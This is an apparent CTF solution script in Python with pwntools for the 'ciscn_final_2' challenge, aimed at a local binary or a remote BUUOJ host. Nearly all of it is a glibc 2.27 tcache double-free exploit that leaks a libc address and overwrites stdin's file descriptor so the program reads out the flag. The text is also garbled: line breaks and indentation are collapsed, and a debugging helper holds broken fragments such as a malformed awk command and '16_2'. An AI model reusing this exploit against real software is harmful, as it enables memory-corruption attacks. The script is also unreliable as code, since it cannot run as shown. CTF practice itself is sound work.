from pwn import * import sys
arch = 64 challenge = "./ciscn_final_2" libc_path = '/glibc/2.27-3ubuntu1_amd64/libc.so.6'
def dbg(): context.log_level = 'debug'
def echo(content): print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
def exp(): add(1,0x30) free(1) add(2,0x20) add(2,0x20) add(2,0x20) add(2,0x20) free(2) add(1,0x30) free(2) chunk = show(2) - 0xa0 add(2, chunk) add(2, chunk) add(2, 0x91) for i in range(7): free(1) add(2, 0x30)
free(1) stdin_fileno = ((show(1) - 96 - 0x10) & 0xffff) - (libc.sym["__malloc_hook"] - libc.sym["_IO_2_1_stdin_"]) + 0x70 echo(hex(stdin_fileno)) add(1, stdin_fileno) for i in range(4): free(1) add(2, stdin_fileno) chunk = show(1) + 0x30 add(1, chunk) add(1, stdin_fileno) add(1, stdin_fileno) add(1, 666) edit("flag出来吧")
pass
local = int(sys.argv[1]) elf = ELF(challenge) libc = ELF(libc_path)
context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h']
if local: io = process(challenge,env = {"LD_PRELOAD":libc_path}) else: io = remote("node4.buuoj.cn", 29350)
if arch == 64: context.arch = 'amd64' elif arch == 32: context.arch = 'i386'
p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00'))
bps = [] pie = 0
_add,_free,_edit,_show = 1,2,4,3
menu = "which command?"
def add(choice, content): sla(menu, str(_add)) sla("2: short int", str(choice)) sa("your inode number:", str(content))
def edit(content): sla(menu, str(_edit)) ru("what do you want to say at last?") sl(content)
def free(idx): sla(menu, str(_free)) sla("2: short int", str(idx))
def show(show_type): sla('which command?\n> ', '3') sla('TYPE:\n1: int\n2: short int\n>', str(show_type)) if show_type == 1: ru('your int type inode number :') elif show_type == 2: ru('your short type inode number :') return int(io.recvuntil('\n', drop=True))
def gdba(): if local == 0: return 0 cmd ='set follow-fork-mode parent\n' if pie: base = int(os.popen("pmap {}|awk '{{print ./ciscn_final}}'".format(io.pid)).readlines()[1],16_2) cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps]) cmd +='set base={:#x}\n'.format(base) else: cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps]) gdb.attach(io,cmd)
exp() ia()
|